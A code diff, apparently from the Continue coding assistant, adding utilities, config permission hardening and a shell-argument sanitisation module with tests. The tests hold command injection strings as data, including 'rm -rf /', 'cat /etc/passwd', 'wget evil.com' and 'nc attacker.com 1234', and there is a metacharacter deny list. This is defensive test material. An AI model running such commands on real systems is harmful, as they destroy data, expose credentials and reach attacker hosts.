LLMFullCompletionOptions = { temperature: 0.7 }; diff --git a/core/util/chatDescriber.ts b/core/util/chatDescriber.ts index 873d07327..33a2b31ba 100644 --- a/core/util/chatDescriber.ts +++ b/core/util/chatDescriber.ts @@ -8,7 +8,7 @@ import { renderChatMessage } from "./messageContent"; import { convertFromUnifiedHistory } from "./messageConversion"; export class ChatDescriber { - static maxTokens = 12; + static maxTokens = 16; // Increased from 12 to meet GPT-5 minimum requirement static prompt: string | undefined = "Given the following... please reply with a title for the chat that is 3-4 words in length, all words used should be directly related to the content of the chat, avoid using verbs unless they are directly related to the content of the chat, no additional text or explanation, you don't need ending punctuation.\n\n"; static messenger: IMessenger; diff --git a/core/util/errors.ts b/core/util/errors.ts index f80fa6b70..69df7c814 100644 --- a/core/util/errors.ts +++ b/core/util/errors.ts @@ -10,3 +10,59 @@ export function getRootCause(err: any): any { } return err; } + +export class ContinueError extends Error { + reason: ContinueErrorReason; + + constructor(reason: ContinueErrorReason, message?: string) { + super(message); + this.reason = reason; + this.name = "ContinueError"; + } +} + +export enum ContinueErrorReason { + // Find and Replace validation errors + FindAndReplaceIdenticalOldAndNewStrings = "find_and_replace_identical_old_and_new_strings", + FindAndReplaceMissingOldString = "find_and_replace_missing_old_string", + FindAndReplaceNonFirstEmptyOldString = "find_and_replace_non_first_empty_old_string", + FindAndReplaceMissingNewString = "find_and_replace_missing_new_string", + FindAndReplaceInvalidReplaceAll = "find_and_replace_invalid_replace_all", + FindAndReplaceOldStringNotFound = "find_and_replace_old_string_not_found", + FindAndReplaceMultipleOccurrences = "find_and_replace_multiple_occurrences", + FindAndReplaceMissingFilepath = "find_and_replace_missing_filepath", + + // Multi-edit + MultiEditEditsArrayRequired = "multi_edit_edits_array_required", + MultiEditEditsArrayEmpty = "multi_edit_edits_array_empty", + MultiEditSubsequentEditsOnCreation = "multi_edit_subsequent_edits_on_creation", + MultiEditEmptyOldStringNotFirst = "multi_edit_empty_old_string_not_first", + + // General Edit + EditToolFileNotRead = "edit_tool_file_not_yet_read", + + // General File + FileAlreadyExists = "file_already_exists", + FileNotFound = "file_not_found", + FileWriteError = "file_write_error", + FileIsSecurityConcern = "file_is_security_concern", + ParentDirectoryNotFound = "parent_directory_not_found", + FileTooLarge = "file_too_large", + PathResolutionFailed = "path_resolution_failed", + InvalidLineNumber = "invalid_line_number", + DirectoryNotFound = "directory_not_found", + + // Terminal/Command execution + CommandExecutionFailed = "command_execution_failed", + CommandNotAvailableInRemote = "command_not_available_in_remote", + + // Search + SearchExecutionFailed = "search_execution_failed", + + // Rules + RuleNotFound = "rule_not_found", + + // Other + Unspecified = "unspecified", // I.e. a known error but no specific code for it + Unknown = "unknown", // I.e. an unexpected error +} diff --git a/core/util/historyUtils.ts b/core/util/historyUtils.ts new file mode 100644 index 000000000..fc0939c7b --- /dev/null +++ b/core/util/historyUtils.ts @@ -0,0 +1,105 @@ +import fs from "fs"; +import { homedir } from "node:os"; +import { fileURLToPath, pathToFileURL } from "node:url"; +import path from "path"; + +import { languageForFilepath } from "../autocomplete/constants/AutocompleteLanguageInfo.js"; +import { ChatMessage, IDE } from "../index.js"; +import { renderChatMessage } from "../util/messageContent.js"; +import { getContinueGlobalPath } from "../util/paths.js"; + +// If useful elsewhere, helper funcs should move to core/util/index.ts or similar +function getOffsetDatetime(date: Date): Date { + const offset = date.getTimezoneOffset(); + const offsetHours = Math.floor(offset / 60); + const offsetMinutes = offset % 60; + date.setHours(date.getHours() - offsetHours); + date.setMinutes(date.getMinutes() - offsetMinutes); + + return date; +} + +function asBasicISOString(date: Date): string { + const isoString = date.toISOString(); + + return isoString.replace(/[-:]|(\.\d+Z)/g, ""); +} + +function reformatCodeBlocks(msgText: string): string { + const codeBlockFenceRegex = /```((.*?\.(\w+))\s*.*)\n/g; + msgText = msgText.replace( + codeBlockFenceRegex, + (match, metadata, filename, extension) => { + const lang = languageForFilepath(filename); + return `\`\`\`${extension}\n${lang.singleLineComment} ${metadata}\n`; + }, + ); + // Appease the markdown linter + return msgText.replace(/```\n```/g, "```\n\n```"); +} + +export function toMarkDown(history: ChatMessage[], time?: Date): string { + if (!time) { + time = new Date(); + } + let content = `### [Continue](https://continue.dev) session transcript\n Exported: ${time.toLocaleString()}`; + + for (const msg of history) { + let msgText = renderChatMessage(msg); + if (!msgText) { + continue; // Skip messages without content + } + + if (msg.role === "user" && msgText.search("```") > -1) { + msgText = reformatCodeBlocks(msgText); + } + + // format messages as blockquotes + msgText = msgText.replace(/^/gm, "> "); + + content += `\n\n#### ${ + msg.role === "user" ? "_User_" : "_Assistant_" + }\n\n${msgText}`; + } + return content; +} + +export async function shareSession( + ide: IDE, + history: ChatMessage[], + outputDir?: string, +) { + const now = new Date(); + const content = toMarkDown(history, now); + + outputDir = outputDir ?? getContinueGlobalPath(); + + if (outputDir.startsWith("~")) { + outputDir = outputDir.replace(/^~/, homedir); + } else if ( + outputDir.startsWith("./") || + outputDir.startsWith(".\\") || + outputDir === "." + ) { + const workspaceDirs = await ide.getWorkspaceDirs(); + // Although the most common situation is to have one directory open in a + // workspace it's also possible to have just a file open without an + // associated directory or to use multi-root workspaces in which multiple + // folders are included. We default to using the first item in the list, if + // it exists. + const workspaceDirectory = workspaceDirs?.[0] || ""; + outputDir = outputDir.replace(/^./, fileURLToPath(workspaceDirectory)); + } + + if (!fs.existsSync(outputDir)) { + fs.mkdirSync(outputDir, { recursive: true }); + } + + const dtString = asBasicISOString(getOffsetDatetime(now)); + const outPath = path.join(outputDir, `${dtString}_session.md`); //TODO: more flexible naming? + + const fileUrl = pathToFileURL(outPath).toString(); // TODO switch from path to URI above ^ + await ide.writeFile(fileUrl, content); + await ide.openFile(fileUrl); + return fileUrl; +} diff --git a/core/util/index.test.ts b/core/util/index.test.ts index fc48a49b2..a77473c25 100644 --- a/core/util/index.test.ts +++ b/core/util/index.test.ts @@ -1,9 +1,9 @@ // File generated by Continue import { + copyOf, dedent, dedentAndGetCommonWhitespace, deduplicateArray, - copyOf, getMarkdownLanguageTagForFile, removeCodeBlocksAndTrim, removeQuotesAndEscapes, @@ -463,4 +463,30 @@ describe("removeCodeBlocksAndTrim", () => { const output = removeCodeBlocksAndTrim(text); expect(output).toBe(""); }); + it("should remove think blocks from text", () => { + const text = + "Okay, the user wants me to help with...Here is my actual response."; + const output = removeCodeBlocksAndTrim(text); + expect(output).toBe("Here is my actual response."); + }); + + it("should remove both code blocks and think blocks", () => { + const text = + "Let me plan this...Here's some code:\n```javascript\nconsole.log('hello');\n```\nThat should work!"; + const output = removeCodeBlocksAndTrim(text); + expect(output).toBe("Here's some code:\n\nThat should work!"); + }); + + it("should handle multiple think blocks", () => { + const text = + "First thoughtSome textSecond thoughtMore text"; + const output = removeCodeBlocksAndTrim(text); + expect(output).toBe("Some textMore text"); + }); + + it("should handle think blocks with newlines", () => { + const text = "\nMultiline\nthinking\n\nActual response"; + const output = removeCodeBlocksAndTrim(text); + expect(output).toBe("Actual response"); + }); }); diff --git a/core/util/index.ts b/core/util/index.ts index 4b3b17535..76b319bdd 100644 --- a/core/util/index.ts +++ b/core/util/index.ts @@ -197,11 +197,13 @@ export function dedent(strings: TemplateStringsArray, ...values: any[]) { */ export function removeCodeBlocksAndTrim(text: string): string { const codeBlockRegex = /```[\s\S]*?```/g; + const thinkBlockRegex = /[\s\S]*?<\/think>/g; - // Remove code blocks from the message text - const textWithoutCodeBlocks = text.replace(codeBlockRegex, ""); + // Remove code blocks and think blocks from the message text + let processedText = text.replace(codeBlockRegex, ""); + processedText = processedText.replace(thinkBlockRegex, ""); - return textWithoutCodeBlocks.trim(); + return processedText.trim(); } export function splitCamelCaseAndNonAlphaNumeric(value: string) { diff --git a/core/util/pathResolver.ts b/core/util/pathResolver.ts new file mode 100644 index 000000000..25fe75816 --- /dev/null +++ b/core/util/pathResolver.ts @@ -0,0 +1,84 @@ +import { fileURLToPath, pathToFileURL } from "node:url"; +import * as path from "path"; +import untildify from "untildify"; +import { IDE } from ".."; +import { resolveRelativePathInDir } from "./ideUtils"; +import { findUriInDirs } from "./uri"; + +export interface ResolvedPath { + uri: string; + displayPath: string; + isAbsolute: boolean; + isWithinWorkspace: boolean; +} + +/** + * Checks if a URI is within any of the workspace directories + * Also verifies the file actually exists, matching the behavior of resolveRelativePathInDir + */ +async function isUriWithinWorkspace(ide: IDE, uri: string): Promise { + const workspaceDirs = await ide.getWorkspaceDirs(); + const { foundInDir } = findUriInDirs(uri, workspaceDirs); + + // Check both: within workspace path AND file exists + if (foundInDir !== null) { + return await ide.fileExists(uri); + } + + return false; +} + +export async function resolveInputPath( + ide: IDE, + inputPath: string, +): Promise { + const trimmedPath = inputPath.trim(); + + // Handle file:// URIs + if (trimmedPath.startsWith("file://")) { + const displayPath = fileURLToPath(trimmedPath); + const isWithinWorkspace = await isUriWithinWorkspace(ide, trimmedPath); + return { + uri: trimmedPath, + displayPath, + isAbsolute: true, + isWithinWorkspace, + }; + } + + // Expand tilde paths (handles ~/ and ~username/) + const expandedPath = untildify(trimmedPath); + + // Check if it's an absolute path (including Windows paths) + const isAbsolute = + path.isAbsolute(expandedPath) || + // Windows network paths + expandedPath.startsWith("\\\\") || + // Windows drive letters + /^[a-zA-Z]:/.test(expandedPath); + + if (isAbsolute) { + // Convert to file:// URI format + const uri = pathToFileURL(expandedPath).href; + const isWithinWorkspace = await isUriWithinWorkspace(ide, uri); + return { + uri, + displayPath: expandedPath, + isAbsolute: true, + isWithinWorkspace, + }; + } + + // Handle relative paths... + const workspaceUri = await resolveRelativePathInDir(expandedPath, ide); + if (workspaceUri) { + return { + uri: workspaceUri, + displayPath: expandedPath, + isAbsolute: false, + isWithinWorkspace: true, + }; + } + + return null; +} diff --git a/core/util/paths.ts b/core/util/paths.ts index de587cf0d..122ec2f94 100644 --- a/core/util/paths.ts +++ b/core/util/paths.ts @@ -14,6 +14,16 @@ import Types from "../config/types"; dotenv.config(); +export function setConfigFilePermissions(filePath: string): void { + try { + if (os.platform() !== "win32") { + fs.chmodSync(filePath, 0o600); + } + } catch (error) { + console.warn(`Failed to set permissions on ${filePath}:`, error); + } +} + const CONTINUE_GLOBAL_DIR = (() => { const configPath = process.env.CONTINUE_GLOBAL_DIR; if (configPath) { @@ -117,6 +127,7 @@ export function getConfigYamlPath(ideType?: IdeType): string { } else { fs.writeFileSync(p, YAML.stringify(defaultConfig)); } + setConfigFilePermissions(p); } return p; } @@ -255,12 +266,14 @@ function editConfigJson( } function editConfigYaml(callback: (config: ConfigYaml) => ConfigYaml): void { - const config = fs.readFileSync(getConfigYamlPath(), "utf8"); + const configPath = getConfigYamlPath(); + const config = fs.readFileSync(configPath, "utf8"); let configYaml = YAML.parse(config); // Check if it's an object if (typeof configYaml === "object" && configYaml !== null) { configYaml = callback(configYaml as any) as any; - fs.writeFileSync(getConfigYamlPath(), YAML.stringify(configYaml)); + fs.writeFileSync(configPath, YAML.stringify(configYaml)); + setConfigFilePermissions(configPath); } else { console.warn("config.yaml is not a valid object"); } diff --git a/core/util/repoUrl.ts b/core/util/repoUrl.ts new file mode 100644 index 000000000..4634cc142 --- /dev/null +++ b/core/util/repoUrl.ts @@ -0,0 +1,70 @@ +/** + * Utility functions for normalizing and handling repository URLs. + */ + +/** + * Normalizes a repository URL to a consistent format. + * + * Handles various Git URL formats and converts them to a standard HTTPS GitHub URL: + * - SSH format: `git@github.com:owner/repo.git` → `https://github.com/owner/repo` + * - SSH protocol: `ssh://git@github.com/owner/repo.git` → `https://github.com/owner/repo` + * - Shorthand: `owner/repo` → `https://github.com/owner/repo` + * - Removes `.git` suffix + * - Removes trailing slashes + * - Normalizes to lowercase + * + * @param url - The repository URL to normalize + * @returns The normalized repository URL in lowercase HTTPS format + * + * @example + * ```typescript + * normalizeRepoUrl("git@github.com:owner/repo.git") + * // Returns: "https://github.com/owner/repo" + * + * normalizeRepoUrl("owner/repo") + * // Returns: "https://github.com/owner/repo" + * + * normalizeRepoUrl("https://github.com/Owner/Repo.git") + * // Returns: "https://github.com/owner/repo" + * ``` + */ +export function normalizeRepoUrl(url: string): string { + if (!url) return ""; + + let normalized = url.trim(); + + // Convert SSH to HTTPS: git@github.com:owner/repo.git -> https://github.com/owner/repo + if (normalized.startsWith("git@github.com:")) { + normalized = normalized.replace("git@github.com:", "https://github.com/"); + } + + // Convert SSH protocol to HTTPS: ssh://git@github.com/owner/repo.git -> https://github.com/owner/repo + // Also handles: ssh://git@github.com:owner/repo.git (less common) + if (normalized.startsWith("ssh://git@github.com")) { + normalized = normalized + .replace("ssh://git@github.com/", "https://github.com/") + .replace("ssh://git@github.com:", "https://github.com/"); + } + + // Convert shorthand owner/repo to full URL + if ( + normalized.includes("/") && + !/^[a-z]+:\/\//i.test(normalized) && + !normalized.startsWith("git@") + ) { + normalized = `https://github.com/${normalized}`; + } + + // Remove trailing slash before removing .git suffix + if (normalized.endsWith("/")) { + normalized = normalized.slice(0, -1); + } + + // Remove .git suffix + if (normalized.endsWith(".git")) { + normalized = normalized.slice(0, -4); + } + + // Normalize to lowercase + return normalized.toLowerCase(); +} diff --git a/core/util/repoUrl.vitest.ts b/core/util/repoUrl.vitest.ts new file mode 100644 index 000000000..da58cc076 --- /dev/null +++ b/core/util/repoUrl.vitest.ts @@ -0,0 +1,217 @@ +import { describe, expect, it } from "vitest"; +import { normalizeRepoUrl } from "./repoUrl"; + +describe("normalizeRepoUrl", () => { + describe("SSH format conversion", () => { + it("should convert SSH format to HTTPS", () => { + expect(normalizeRepoUrl("git@github.com:owner/repo.git")).toBe( + "https://github.com/owner/repo", + ); + }); + + it("should convert SSH format without .git suffix", () => { + expect(normalizeRepoUrl("git@github.com:owner/repo")).toBe( + "https://github.com/owner/repo", + ); + }); + + it("should convert SSH format with uppercase to lowercase", () => { + expect(normalizeRepoUrl("git@github.com:Owner/Repo.git")).toBe( + "https://github.com/owner/repo", + ); + }); + }); + + describe("SSH protocol conversion", () => { + it("should convert ssh:// protocol with slash separator", () => { + expect(normalizeRepoUrl("ssh://git@github.com/owner/repo.git")).toBe( + "https://github.com/owner/repo", + ); + }); + + it("should convert ssh:// protocol with colon separator (less common)", () => { + expect(normalizeRepoUrl("ssh://git@github.com:owner/repo.git")).toBe( + "https://github.com/owner/repo", + ); + }); + + it("should convert ssh:// protocol without .git suffix", () => { + expect(normalizeRepoUrl("ssh://git@github.com/owner/repo")).toBe( + "https://github.com/owner/repo", + ); + }); + }); + + describe("shorthand format conversion", () => { + it("should convert owner/repo to full HTTPS URL", () => { + expect(normalizeRepoUrl("owner/repo")).toBe( + "https://github.com/owner/repo", + ); + }); + + it("should convert shorthand with uppercase to lowercase", () => { + expect(normalizeRepoUrl("Owner/Repo")).toBe( + "https://github.com/owner/repo", + ); + }); + + it("should handle shorthand with hyphens and underscores", () => { + expect(normalizeRepoUrl("owner-name/repo_name")).toBe( + "https://github.com/owner-name/repo_name", + ); + }); + }); + + describe(".git suffix removal", () => { + it("should remove .git suffix from HTTPS URLs", () => { + expect(normalizeRepoUrl("https://github.com/owner/repo.git")).toBe( + "https://github.com/owner/repo", + ); + }); + + it("should handle multiple transformations with .git removal", () => { + expect(normalizeRepoUrl("git@github.com:owner/repo.git")).toBe( + "https://github.com/owner/repo", + ); + }); + }); + + describe("trailing slash removal", () => { + it("should remove trailing slash from URLs", () => { + expect(normalizeRepoUrl("https://github.com/owner/repo/")).toBe( + "https://github.com/owner/repo", + ); + }); + + it("should handle both .git and trailing slash", () => { + expect(normalizeRepoUrl("https://github.com/owner/repo.git/")).toBe( + "https://github.com/owner/repo", + ); + }); + }); + + describe("case normalization", () => { + it("should convert mixed case HTTPS URLs to lowercase", () => { + expect(normalizeRepoUrl("https://github.com/Owner/Repo")).toBe( + "https://github.com/owner/repo", + ); + }); + + it("should convert all uppercase to lowercase", () => { + expect(normalizeRepoUrl("HTTPS://GITHUB.COM/OWNER/REPO")).toBe( + "https://github.com/owner/repo", + ); + }); + + it("should handle mixed case in shorthand format", () => { + expect(normalizeRepoUrl("ContinueDev/Continue")).toBe( + "https://github.com/continuedev/continue", + ); + }); + }); + + describe("already normalized URLs", () => { + it("should handle already normalized HTTPS URLs", () => { + expect(normalizeRepoUrl("https://github.com/owner/repo")).toBe( + "https://github.com/owner/repo", + ); + }); + + it("should only lowercase already normalized URLs", () => { + expect(normalizeRepoUrl("https://github.com/Owner/Repo")).toBe( + "https://github.com/owner/repo", + ); + }); + }); + + describe("edge cases", () => { + it("should return empty string for empty input", () => { + expect(normalizeRepoUrl("")).toBe(""); + }); + + it("should handle whitespace-only input", () => { + expect(normalizeRepoUrl(" ")).toBe(""); + }); + + it("should trim whitespace from input", () => { + expect(normalizeRepoUrl(" owner/repo ")).toBe( + "https://github.com/owner/repo", + ); + }); + + it("should not modify non-GitHub git URLs", () => { + // This function is GitHub-specific, other URLs just get lowercased + expect(normalizeRepoUrl("https://gitlab.com/owner/repo")).toBe( + "https://gitlab.com/owner/repo", + ); + }); + + it("should not convert non-GitHub SSH URLs to GitHub", () => { + // Regression test: SSH URLs with protocols should not be treated as shorthands + expect(normalizeRepoUrl("ssh://git@gitlab.com/owner/repo.git")).toBe( + "ssh://git@gitlab.com/owner/repo", + ); + }); + + it("should handle URLs with port numbers", () => { + expect(normalizeRepoUrl("https://github.com:443/owner/repo")).toBe( + "https://github.com:443/owner/repo", + ); + }); + + it("should handle complex repository names", () => { + expect(normalizeRepoUrl("owner/repo-with-dashes-123")).toBe( + "https://github.com/owner/repo-with-dashes-123", + ); + }); + + it("should normalize shorthand with query parameters containing ://", () => { + // Regression test: :// in query params should not prevent normalization + expect(normalizeRepoUrl("owner/repo?redirect=https://example.com")).toBe( + "https://github.com/owner/repo?redirect=https://example.com", + ); + }); + + it("should normalize shorthand with fragment containing ://", () => { + expect(normalizeRepoUrl("owner/repo#section=https://example.com")).toBe( + "https://github.com/owner/repo#section=https://example.com", + ); + }); + }); + + describe("real-world examples", () => { + it("should normalize Continue's repository from SSH", () => { + expect(normalizeRepoUrl("git@github.com:continuedev/continue.git")).toBe( + "https://github.com/continuedev/continue", + ); + }); + + it("should normalize Continue's repository from shorthand", () => { + expect(normalizeRepoUrl("continuedev/continue")).toBe( + "https://github.com/continuedev/continue", + ); + }); + + it("should normalize Continue's repository from HTTPS", () => { + expect( + normalizeRepoUrl("https://github.com/continuedev/continue.git"), + ).toBe("https://github.com/continuedev/continue"); + }); + + it("should match repositories regardless of input format", () => { + const formats = [ + "git@github.com:continuedev/continue.git", + "continuedev/continue", + "https://github.com/continuedev/continue", + "https://github.com/continuedev/continue.git", + "ssh://git@github.com/continuedev/continue.git", + "ContinueDev/Continue", + ]; + + const expected = "https://github.com/continuedev/continue"; + formats.forEach((format) => { + expect(normalizeRepoUrl(format)).toBe(expected); + }); + }); + }); +}); diff --git a/core/util/sanitization.ts b/core/util/sanitization.ts new file mode 100644 index 000000000..da17df8c3 --- /dev/null +++ b/core/util/sanitization.ts @@ -0,0 +1,72 @@ +import { quote } from "shell-quote"; + +/** + * Sanitization utilities for preventing injection attacks. + * These utilities address specific security vulnerabilities identified in code review. + */ + +/** + * Sanitizes a string for safe use in shell commands by escaping special characters. + * Uses the battle-tested `shell-quote` library. + * + * @param arg - The argument to sanitize for shell execution + * @returns A safely escaped string suitable for shell commands + * + * @example + * ```typescript + * const command = `git stash push -m ${sanitizeShellArgument(message)}`; + * ``` + * + * Protects against: + * - Command injection (`;`, `&&`, `||`, `|`) + * - Command substitution (`$()`, backticks) + * - Variable expansion (`$VAR`) + */ +export function sanitizeShellArgument(arg: string): string { + const result = quote([arg]); + return typeof result === "string" ? result : arg; +} + +/** + * Validates that a repository name/URL doesn't contain malicious patterns. + * Rejects dangerous patterns but doesn't validate full URL structure. + * + * @param repoName - The repository name or URL to validate + * @returns true if safe, false if contains dangerous patterns + * + * @example + * ```typescript + * validateGitHubRepoUrl("owner/repo"); // true + * validateGitHubRepoUrl("owner/repo; rm -rf /"); // false + * ``` + * + * Protects against: + * - Path traversal (`../`) + * - Command injection (`;`, `&&`, `||`) + * - Shell metacharacters (backticks, `$`, `|`) + */ +export function validateGitHubRepoUrl(repoName: string): boolean { + if (!repoName || typeof repoName !== "string") { + return false; + } + + const trimmed = repoName.trim(); + + // Reject empty or whitespace-only strings + if (trimmed.length === 0) { + return false; + } + + // Reject path traversal + if (trimmed.includes("..")) { + return false; + } + + // Reject shell metacharacters that could enable injection + const dangerousChars = [";", "&", "|", "$", "`", "\n", "\r", "<", ">"]; + if (dangerousChars.some((char) => trimmed.includes(char))) { + return false; + } + + return true; +} diff --git a/core/util/sanitization.vitest.ts b/core/util/sanitization.vitest.ts new file mode 100644 index 000000000..f048c72c6 --- /dev/null +++ b/core/util/sanitization.vitest.ts @@ -0,0 +1,362 @@ +import { execSync } from "child_process"; +import { describe, expect, it } from "vitest"; +import { normalizeRepoUrl } from "./repoUrl"; +import { sanitizeShellArgument, validateGitHubRepoUrl } from "./sanitization"; + +describe("sanitizeShellArgument", () => { + it("should escape shell metacharacters", () => { + const dangerous = [ + "; rm -rf /", + "&& cat /etc/passwd", + "|| wget evil.com", + "| nc attacker.com 1234", + "`whoami`", + "$(whoami)", + "$HOME/evil", + ]; + + dangerous.forEach((input) => { + const result = sanitizeShellArgument(input); + expect(result).toBeDefined(); + expect(typeof result).toBe("string"); + // shell-quote should properly escape these + expect(result).not.toBe(input); + }); + }); + + it("should handle safe strings", () => { + const safe = ["agent-123", "my-agent", "simple-message"]; + safe.forEach((input) => { + const result = sanitizeShellArgument(input); + expect(result).toBeDefined(); + expect(typeof result).toBe("string"); + }); + }); + + it("should handle special characters", () => { + const result = sanitizeShellArgument("agent with spaces"); + expect(result).toBeDefined(); + expect(typeof result).toBe("string"); + }); + + it("should handle empty string", () => { + const result = sanitizeShellArgument(""); + expect(result).toBeDefined(); + }); +}); + +describe("validateGitHubRepoUrl", () => { + it("should accept valid repository names", () => { + expect(validateGitHubRepoUrl("continuedev/continue")).toBe(true); + expect(validateGitHubRepoUrl("owner/repo")).toBe(true); + expect(validateGitHubRepoUrl("owner-name/repo-name")).toBe(true); + expect(validateGitHubRepoUrl("https://github.com/owner/repo")).toBe(true); + expect(validateGitHubRepoUrl("git@github.com:owner/repo.git")).toBe(true); + }); + + it("should reject path traversal", () => { + expect(validateGitHubRepoUrl("../../../etc/passwd")).toBe(false); + expect(validateGitHubRepoUrl("owner/../evil")).toBe(false); + }); + + it("should reject command injection attempts", () => { + expect(validateGitHubRepoUrl("owner/repo; rm -rf /")).toBe(false); + expect(validateGitHubRepoUrl("owner/repo && cat /etc/passwd")).toBe(false); + expect(validateGitHubRepoUrl("owner/repo || wget evil.com")).toBe(false); + expect(validateGitHubRepoUrl("owner/repo | nc attacker")).toBe(false); + }); + + it("should reject shell metacharacters", () => { + expect(validateGitHubRepoUrl("owner/$(whoami)")).toBe(false); + expect(validateGitHubRepoUrl("owner/`whoami`")).toBe(false); + expect(validateGitHubRepoUrl("$EVIL/repo")).toBe(false); + }); + + it("should reject shell redirection", () => { + expect(validateGitHubRepoUrl("owner/repo > /dev/null")).toBe(false); + expect(validateGitHubRepoUrl("owner/repo < /etc/passwd")).toBe(false); + }); + + it("should reject newlines", () => { + expect(validateGitHubRepoUrl("owner/repo\nrm -rf /")).toBe(false); + expect(validateGitHubRepoUrl("owner/repo\rrm -rf /")).toBe(false); + }); + + it("should reject empty or invalid input", () => { + expect(validateGitHubRepoUrl("")).toBe(false); + expect(validateGitHubRepoUrl(" ")).toBe(false); + expect(validateGitHubRepoUrl(null as any)).toBe(false); + expect(validateGitHubRepoUrl(undefined as any)).toBe(false); + }); + + describe("validation after normalization", () => { + it("should validate normalized URLs to prevent bypass", () => { + // Test that validation works on normalized output + const inputs = [ + "owner/repo", + "git@github.com:owner/repo.git", + "https://github.com/owner/repo.git", + "ssh://git@github.com/owner/repo.git", + ]; + + inputs.forEach((input) => { + const normalized = normalizeRepoUrl(input); + expect(validateGitHubRepoUrl(normalized)).toBe(true); + }); + }); + + it("should catch dangerous URLs even after normalization", () => { + // These should still be dangerous after normalization + const dangerous = [ + "owner/repo; rm -rf /", + "owner/repo && malicious", + "owner/repo | cat /etc/passwd", + ]; + + dangerous.forEach((input) => { + // Should be blocked before normalization + expect(validateGitHubRepoUrl(input)).toBe(false); + + // Even if somehow normalized, should still be invalid + const normalized = normalizeRepoUrl(input); + expect(validateGitHubRepoUrl(normalized)).toBe(false); + }); + }); + + it("should handle edge cases where normalization changes URL structure", () => { + // Test URLs that change during normalization + const testCases = [ + { + input: "Owner/Repo.git/", + normalized: "https://github.com/owner/repo", + shouldBeValid: true, + }, + { + input: "git@github.com:owner/repo.git", + normalized: "https://github.com/owner/repo", + shouldBeValid: true, + }, + ]; + + testCases.forEach(({ input, normalized, shouldBeValid }) => { + const actualNormalized = normalizeRepoUrl(input); + expect(actualNormalized).toBe(normalized); + expect(validateGitHubRepoUrl(actualNormalized)).toBe(shouldBeValid); + }); + }); + + it("should prevent validation bypass via URL encoding or special chars", () => { + // These tests ensure that validation happens AFTER normalization + // preventing attackers from bypassing validation via encoding or transformation + + // Currently validateGitHubRepoUrl blocks these, but this test ensures + // the pattern of "normalize then validate" is maintained + const potentialBypass = [ + "../../../etc/passwd", + "owner/../malicious", + "owner/repo`whoami`", + "owner/repo$(whoami)", + ]; + + potentialBypass.forEach((input) => { + expect(validateGitHubRepoUrl(input)).toBe(false); + }); + }); + }); +}); + +/** + * Integration tests for sanitizeShellArgument + * + * These tests actually execute shell commands with sanitized dangerous inputs + * to verify end-to-end that the sanitization prevents injection attacks. + * + * IMPORTANT: These are CRITICAL security tests. The unit tests above verify + * that sanitization transforms inputs, but only these integration tests prove + * that the transformed output is safe when executed in a real shell. + */ +describe("sanitizeShellArgument - integration tests", () => { + // Helper function to safely execute a command with a timeout + const safeExec = (command: string): string => { + try { + return execSync(command, { + encoding: "utf-8", + timeout: 5000, // 5 second timeout to prevent hanging + shell: "/bin/sh", // Use standard POSIX shell + }).trim(); + } catch (error: any) { + // If command fails (non-zero exit), return the error output + return error.stdout?.trim() || ""; + } + }; + + it("should prevent command injection with semicolon separator", () => { + const malicious = "; echo INJECTED"; + const sanitized = sanitizeShellArgument(malicious); + + // Execute echo command with the sanitized input + const result = safeExec(`echo ${sanitized}`); + + // The output should be the literal string, not execute "echo INJECTED" + expect(result).toBe(malicious); + expect(result).not.toBe("INJECTED"); + }); + + it("should prevent command injection with && operator", () => { + const malicious = "safe && echo INJECTED"; + const sanitized = sanitizeShellArgument(malicious); + + const result = safeExec(`echo ${sanitized}`); + + // Should output the literal string, not execute the injected command + // The string "INJECTED" will appear, but as part of "echo INJECTED" literal text + expect(result).toBe(malicious); + expect(result).toContain("echo INJECTED"); // Verify it's the literal command text + }); + + it("should prevent command injection with || operator", () => { + const malicious = "safe || echo INJECTED"; + const sanitized = sanitizeShellArgument(malicious); + + const result = safeExec(`echo ${sanitized}`); + + // Should output the literal string, not execute the injected command + expect(result).toBe(malicious); + expect(result).toContain("echo INJECTED"); // Verify it's the literal command text + }); + + it("should prevent command injection with pipe operator", () => { + const malicious = "safe | echo INJECTED"; + const sanitized = sanitizeShellArgument(malicious); + + const result = safeExec(`echo ${sanitized}`); + + expect(result).toBe(malicious); + }); + + it("should prevent command substitution with $()", () => { + const malicious = "$(echo INJECTED)"; + const sanitized = sanitizeShellArgument(malicious); + + const result = safeExec(`echo ${sanitized}`); + + // Should output the literal string "$(echo INJECTED)", not "INJECTED" + expect(result).toBe(malicious); + expect(result).not.toBe("INJECTED"); + }); + + it("should prevent command substitution with backticks", () => { + const malicious = "`echo INJECTED`"; + const sanitized = sanitizeShellArgument(malicious); + + const result = safeExec(`echo ${sanitized}`); + + // Should output the literal backtick string, not execute it + expect(result).toBe(malicious); + expect(result).not.toBe("INJECTED"); + }); + + it("should prevent variable expansion", () => { + // Set an environment variable for this test + process.env.TEST_VAR = "EXPANDED"; + + const malicious = "$TEST_VAR"; + const sanitized = sanitizeShellArgument(malicious); + + const result = safeExec(`echo ${sanitized}`); + + // Should output literal "$TEST_VAR", not "EXPANDED" + expect(result).toBe(malicious); + expect(result).not.toBe("EXPANDED"); + + // Cleanup + delete process.env.TEST_VAR; + }); + + it("should handle git stash message use case safely", () => { + // This mirrors the actual usage in VsCodeMessenger.ts:269 + const agentId = "agent-123; rm -rf /"; + const stashMessage = `Continue: Stashed before opening agent ${agentId}`; + const sanitized = sanitizeShellArgument(stashMessage); + + // Simulate the git stash command (using echo as a safe substitute) + // In real code: `git stash push -m ${sanitized}` + const result = safeExec(`echo ${sanitized}`); + + // The message should contain the full literal string including dangerous chars + expect(result).toContain("agent-123; rm -rf /"); + expect(result).toContain("Continue: Stashed before opening agent"); + // Verify it's one line (not executed as multiple commands) + expect(result.split("\n").length).toBe(1); + }); + + it("should handle multi-line injection attempts", () => { + const malicious = "line1\necho INJECTED\nline3"; + const sanitized = sanitizeShellArgument(malicious); + + const result = safeExec(`echo ${sanitized}`); + + // Should preserve the structure but not execute embedded commands + expect(result).toContain("line1"); + expect(result).toContain("line3"); + // The literal "echo INJECTED" text should appear, but not executed + expect(result).toContain("echo INJECTED"); + }); + + it("should handle shell redirection attempts", () => { + const malicious = "message > /tmp/test.txt"; + const sanitized = sanitizeShellArgument(malicious); + + const result = safeExec(`echo ${sanitized}`); + + // Should output the literal string, not create a file + expect(result).toBe(malicious); + // The command should not have created the file + // (we're not checking file system to keep test isolated) + }); + + it("should handle complex injection with multiple attack vectors", () => { + const malicious = "; $(whoami) && `date` || $HOME | cat > /dev/null"; + const sanitized = sanitizeShellArgument(malicious); + + const result = safeExec(`echo ${sanitized}`); + + // Should output the entire literal string + expect(result).toBe(malicious); + // Verify none of the commands were executed by checking output is literal + 